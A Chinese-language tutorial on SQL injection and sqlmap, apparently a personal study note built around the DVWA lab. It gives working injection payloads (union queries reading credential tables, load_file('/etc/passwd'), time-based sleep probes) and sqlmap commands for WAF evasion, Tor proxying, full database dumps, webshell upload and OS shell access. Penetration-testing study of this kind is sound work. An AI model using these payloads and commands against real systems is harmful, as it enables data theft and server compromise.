Sqlmap常规使用

背景

sqlmap主要用于sql注入,功能强大,此处对sqlmap的常用功能做简要记录,同时也对sql注入做简要的描述

方法论

sql注入从注入的位置来分,常见的有:GET注入POST注入COOKIE注入搜索注入,但本质上只要有和数据库发生交互的地方,那就有存在注入的可能,因此也不用拘泥于常见的几种。

sql注入从使用的方法来分,有5类:错误注入布尔注入union注入时间盲注ASSCII逐字解码ASSCII逐字解码是将注入字段进行编码,从而绕过验证,此处不做描述。在真实使用环境下,往往是多种方法联合使用,从而达到注入的目的,现下对其进行分类描述:

错误注入

基于错误注入的方式是通过构造特殊的sql语句引发目标报错,从而确定注入点,常用的字段是'',其核心点在于能够使得目标报错,比如:

1

然后获得一个报错信息,如下:

2

从而确定了此处大概率存在注入的漏洞。

布尔注入

布尔注入是通过对注入区域构造布尔条件进行注入的方式,其常用的字段有:、andor--#where等,在上述已确定了注入点的基础上,构造最常用的注入语句:' or '1'='1,得到数据库的用户数据,如下:

image-20210204111925928

UNION注入

UNION注入是在确定确实有注入点以后,开始对注入处进行渗透,从而获取更多的信息,其工作的原理如下:

1
2
3
4
5
6
# 格式
SELECT [colums] from [table] or UNION SELECT x, y, z --

# 当union查询的字段数量与前一个SELECT查询的字段数目相同的时候,则语句不再报错,反之则会一直报错。
# 所以可以通过这个方式不断注入以获取字段的长度信息,如
SELECT dept_no,dept_name FROM departments UNION SELECT 1, 2

针对前面的漏洞,构造注入的sql语句: ' union select 1, 2 --',判断当前查询表的字段有那几个:

image-20210204125944924

然后再结合union查询方式获取数据库的敏感信息,查询信息的内容会受限于当前数据库的用户权限,因为我们需要查询的是数据库的系统库、系统表:INFORMATION_SCHEMAtables,其中tables中存放了关于当前Mysql所有的数据的信息,以下仅将注入脚本写出,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查询当前的数据库和版本信息:version()、database()
' union select version(), database() from INFORMATION_SCHEMA.tables -- '

# 查询当前的用户:user()
' union select user(), database() from INFORMATION_SCHEMA.tables -- '

# 查询当前数据引擎下所有的数据库名
' union select 1, table_name from INFORMATION_SCHEMA.tables'

# 通过load_file函数读取系统文件
' union select load_file('/etc/passwd'), database() from INFORMATION_SCHEMA.tables -- '

# 有时,数据库会对一些字符进行过滤,如/,这个时候可以将字段的内容转换成16进制,如:
' union select load_file('/etc/passwd'), database() from INFORMATION_SCHEMA.tables -- '

转换为16进制的方式有很多种,此处使用burp suite,如下:

image-20210204145517078

当确定好数据库以后,就可以去查询对应的数据库表信息了,如下:

1
2
# 查询指定数据库下的所有数据表信息
' union select table_schema, table_name from INFORMATION_SCHEMA.tables where table_schema='dvwa' -- '

image-20210204153020652

在确定好数据表信息后,接下来就是确定数据表中的字段信息,如下:

1
2
# 表信息存放在INFORMATION_SCHEMA下的COLUMNS表中
' union select 1, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='users' and table_schema='dvwa' -- '

image-20210204160213682

当确定好数据表的字段名称后,就可以开始查询我们指定的数据信息,如下:

1
2
# 当需要获取所有的数据的时候,可以借助concat来拼接字符串
' union select user, concat(user_id, '-', first_name, '-', last_name, '-', password, '-', avatar) from users -- '

image-20210204161327006

上面获取的只是目标数据库的某个表的字段信息,对于Mysql而言,系统的用户表永远是最诱惑人的,如下:

1
2
# Mysql的用户在mysql数据库下的users表中
' union select user, authentication_string from mysql.users -- '

不过能查询到数据的前提是,当前的用户必须得是数据库的超级管理员账户,否则单个库的用户是没有权限去访问系统库的。不过好在我们可以查询INFORMATION_SCHEMA下的USER_PRIVILEGES表,里面记录了当前用户的权限信息,如下:

1
' union select GRANTEE, PRIVILEGE_TYPE from INFORMATION_SCHEMA.USER_PRIVILEGES -- '

image-20210204162744504

时间盲注

前三个注入的方式能够成功是因为前台直接给出了Mysql脚本执行报错的信息,从而给了我们判断的依据,而有的sql注入点对于报错的信息不会给任何的提示信息,相反只是返回原来的页面,而为了进一步判断此处是否真的是注入点,则引入了时间盲注的方法,其实就是调用数据库中的sleep函数,查看前台是否延时返回信息,如果延时返回信息,则说明此处确实是一个注入点。构造的语句如下:

1
2
# 可以将时间设置的长一点,这样效果更加明显
1' and sleep(5) -- '

image-20210204173809185

Sqlmap

入门

手工注入固然高效,但是对于渗透测试者而言就很费神,因此就引入了人工检测注入点,利用工具进行渗透的方式。sqlmap是专门用于检测sql注入的,功能之强大、参数之繁杂也使其不轻易被掌握,此处只对常用的参数和指令做介绍。首先介绍sqlmap的背景知识:

1
2
3
4
5
6
7
8
# 查看sqlmap的命令帮助,这个是简要的
sqlmap -h

# 查看详细的命令帮助
sqlmap -hh

# 查看sqlmap的版本
sqlmap -v

sqlmap每次注入之后,都会在本地生成响应的日志信息,其路径位于用户根目录下的.sqlmap文件夹中,如:

1
2
3
4
5
6
7
8
# 查看注入日志信息
more ~/.sqlmap/output/192.168.85.129/log

# 查看攻击目标的信息
more ~/.sqlmap/output/192.168.85.129/targets

# 查看sqlmap的配置信息
more /etc/sqlmap/sqlmap.conf

知道上述内容后,就可以对目标对象进行sql注入尝试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# -u:指定检测的网址
sqlmap -u [url]

# -f:探测系统和数据信息
# -p:指定探测的具体参数
sqlmap -u [url] -p [注入参数] -f

# --users:查看数据库用户信息
sqlmap -u [url] -p [注入参数] --users

# --banner:获取数据库管理系统的标识
sqlmap -u [url] -p [注入参数] --banner

# --dbs:查看有多少数据库
sqlmap -u [url] -p [注入参数] --dbs

# 查看所有的数据库信息;并且下载所有的数据信息,并且遇到加密的信息,还会直接自带破解
sqlmap -u [url] -p [注入参数] --all

基于URL的注入属于GET注入,而有些注入参数是通过POST方式提交的,此时就需要使用SqlmapPOST注入方式,如下:

  1. 利用抓包工具获取到提交的POST请求,可以使用FiddlerBurp suite等工具皆可,将抓取到的请求包另存为文件保存在桌面

    image-20210205111925270

  2. 执行sqlmap注入命令,然后利用-r参数指向刚刚保存的请求包文件,如下:

    1
    2
    3
    4
    5
    6
    7
    # -r:指定sqlmap的请求包文件
    sqlmap -r post.txt

    # 其他的参数与GET的都是一样的
    sqlmap -r post.txt -p [注入参数] --dbs
    sqlmap -r post.txt -p [注入参数] --users
    sqlmap -r post.txt -p [注入参数] --all

有些注入的页面需要用户登录才能够正常进行访问,此时可以使用sqlmap中的Cookie参数来携带登陆认证信息,如下:

1
2
3
4
5
6
7
8
# 这个是对Cookie而言
sqlmap -u [url] --cookie="cookie值"

# 其实在Get注入中,也可以自己指定参数信息,如下:
sqlmap -u [url] --data="username=shuai&password=123456"

# 如果利用cookie实现注入,则需要设置--level >= 2
sqlmap -u [url] --cookie="cookie值" -- level 2

Cookie值的获取可以在用户登录后通过Chrome中获得,如下:

image-20210205132057947

当出现注入提示的时候,则说明注入已经成功了,并且注入的信息也会都被记录下来,下次注入的时候,就可以直接连接。

image-20210205132806449

sqlmap在注入的时候使用的请求头默认是sqlmap本身,这点很容易被防火墙识别并屏蔽,所以可以使用自定义的头部以绕过防火墙,如下:

1
2
3
4
5
6
7
8
9
10
11
# --random-agent:随机浏览器头部
sqlmap -u [url] --random-agent

# --mobile:移动设备的头部
sqlmap -u [url] --mobile

# --skip-waf:识别并绕过防火墙,这个是sqlmap自带的
sqlmap -u [url] --skip-waf

# 不过经常是将三者联合起来一起使用
sqlmap -u [url] --random-agent --mobile --skip-waf

sqlmap默认采用的注入等级(level)和破坏性(risk)很低的,值为1,趋近于无害。但是有时候这样的注入方式并不能够注入成功,此时可以调高等级来进行注入,如下:

1
2
3
4
5
6
7
8
9
# --level:注入等级,默认为1,最高为5
# --risk:破坏等级,默认为1,最高为3
sqlmap -u [url] --level=3 --risk=3

# --smart:进行积极的启发性测试。如果不知道如何设置level和risk,可以设置这个
sqlmap -u [url] --smart

# --verbose:注入过程中显示的调试信息详细程度,默认为1,最高为6
sqlmap -u [url] --level=3 --risk=3

sqlmap注入的本质是不断的发送http请求,然后分析响应,如果请求过多,可能就会触发对方服务器的防御。此时可以借助参数--offline,它表示只在必要时才会去与对方服务器进行交互。

1
2
# --offline:相当于减少与对方服务器的交互,只在必要时才与对方服务器进行交互
sql -u [url] --offline

此外为了降低触发对方防御的可能性,还可以通过设置代理的方式,如下:

1
2
3
4
5
6
7
8
# --proxy:指定代理IP
sqlmap -u [url] --proxy="IP:port"

# --proxy-cred:如果代理需要认证,则使用该方式传递账户密码信息
sqlmap -u [url] --proxy="IP:port" --proxy-cred="user:password"

# --tor:使用tor隐密代理
sqlmap -u [url] --tor="IP"

拖库

对于sql注入而言,本质目的是为了获取数据信息,而获取数据的方式有个一般性的过程:获取管理员信息-->查看权限-->获取数据库信息-->数据表-->数据表字段-->拖库

在注入成功的前提下,首先是确定能查询到的数据库管理用户信息及登录方式,要这个的目的是看是否能够直接远程登录:

1
2
3
4
5
# --users:查看所有管理员账户
sqlmap -u [url] --users

# --current-user:查看当前的管理员账户
sqlmap -u [url] --current-user

image-20210205152217559

然后需要查看一下当前用户所拥有的权限,如果当前用户用户管理整个数据库的权限,那基本意味着这台服务器也被拿下了。

1
2
3
# -privileges:查询权限
# -U:指定要查询的用户
sqlmap -u [url] --privileges -U [用户名]

image-20210205152800444

然后就是获取在该管理账户下的所有数据库:

1
2
3
4
5
# --dbs:查询当前账户下管理的所有的数据库
sqlmap -u [url] --dbs

# -current-db:查看当前使用的数据库
sqlmap -u [url] --current-db

image-20210205153203578

然后查看要查询数据库中所包含的数据表信息:

1
2
3
# -D:指定数据名
# --tables:查询指定数据库下的所有数据表信息
sqlmap -u [url] -D [数据库名] --tables

image-20210205153544024

确定好数据表后,可以查看一下数据表字段,以及数据量,因为盲目下载数据量巨大的数据信息则会导致下载时间漫长而触发防火墙:

1
2
3
4
5
6
# -T:指定数据表名
# --columns:查询指定表的字段名
sqlmap -u [url] -D [数据库名] -T [表名] --columns

# --count 查看数据量
sqlmap -u [url] -D [数据库名] -T [表名] --columns --count

image-20210205154000877

上面查数据库名、数据表的方式可以直接通过枚举数据库架构的方式查看,如下:

1
2
3
4
# --schema:枚举数据库的架构
# --batch:不询问用户的输入,全部保持默认输入
# --exclude-sysdbs:枚举数据库的时候排除掉系统的数据库
sqlmap -u [url] --schema --batch --exclude-sysdbs

image-20210205160805507

同样还可以直接通过sqlmap构建一个远程sql登录的回话,实时查询数据信息,如下:

1
2
# --sql-shell:建立sql shell的回话终端
sqlmap -u [url] --sql-shell

888

在把握好数据量的情况下,可以根据自己的需要下载数据,大到拖整个数据库,小到拖指定的字段,如下:

1
2
3
4
5
6
# --dump:下载指定的数据。
# -C:指定下载的字段名
sqlmap -u [url] -D [数据库名] -T [表名] -C "字段1,字段2" --dump

# --dump-all:将当前用户管理的所有数据库信息全部拖下来。可以使用--exclude-sysdbs排除掉系统数据库
sqlmap -u [url] --dump-all --exclude-sysdbs

image-20210205155718000

入侵

当数据库用户与OS系统用户是同一个时,并且该用户拥有的权限很大(超级管理员),则此时我们完全可以借助数据库入侵到该数据库所在的服务器,它工作的原理和metasploit很像,就是通过上传木马文件。如读、写文件:

1
2
3
4
5
6
7
8
# --file-read:读取敏感文件
sqlmap -u [url] --file-read="/etc/password"

# --file-write:指定要写入服务器的本地木马文件,默认写入到漏洞文件所在的目录
# --file-dest:指定木马文件存放在服务器上的路径
sqlmap -u [url] --file-write="shell.php" --file-dest="/tmp/shell.php"

# 写入文件后,就可以利用其他漏洞连接工具直接连接服务器了

同样也可以直接通过sqlmap远程执行shell命令:

1
2
3
4
5
# --os-cmd:远程执行指定的命令
sqlmap -u [url] --os-cmd "ls /home"

# --os-shell:在本地创建一个远程终端回话窗口
sqlmap -u [url] --os-shell